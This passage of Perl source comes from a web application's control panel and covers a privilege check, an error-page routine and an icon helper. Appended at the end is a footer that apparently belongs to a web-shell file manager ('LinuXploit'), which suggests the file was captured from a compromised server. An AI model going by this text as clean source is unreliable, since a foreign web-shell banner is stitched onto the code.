    $account = DBSelect("$DDIR/dbs/cpanel", $ENV{'REMOTE_USER'});

    if( !$account || !($account->{'Rights'} & ${$priv} || $account->{'Rights'} & $P_ALL) )
    {
        CpanelError('E_PRIVILEGES');
    }
}



## Display the submission error page
sub SubmitError
{
    my $error = shift;
    my $more  = shift;
    my $lang  = IniParse("$DDIR/language");

    if( $lang->{$more} )
    {
        $T{'Error'} = "$lang->{$error}: $lang->{$more}";
    }
    else
    {
        $T{'Error'} = $lang->{$error} . ($more ? ": $more" : '');
    }

    ParseTemplate('submit_error.tpl');

    exit;
}



sub GetIcons
{
    my $string = shift;
    my $html   = undef;

    for( split(/,/, $string) )
    {
        $html .= "$ICONS->{$_}&nbsp;" if( $ICONS->{$_} );
    }

    return $html;
}


UpdateDBFormat();

1;

Youez - 2016 - github.com/yon3zu
LinuXploit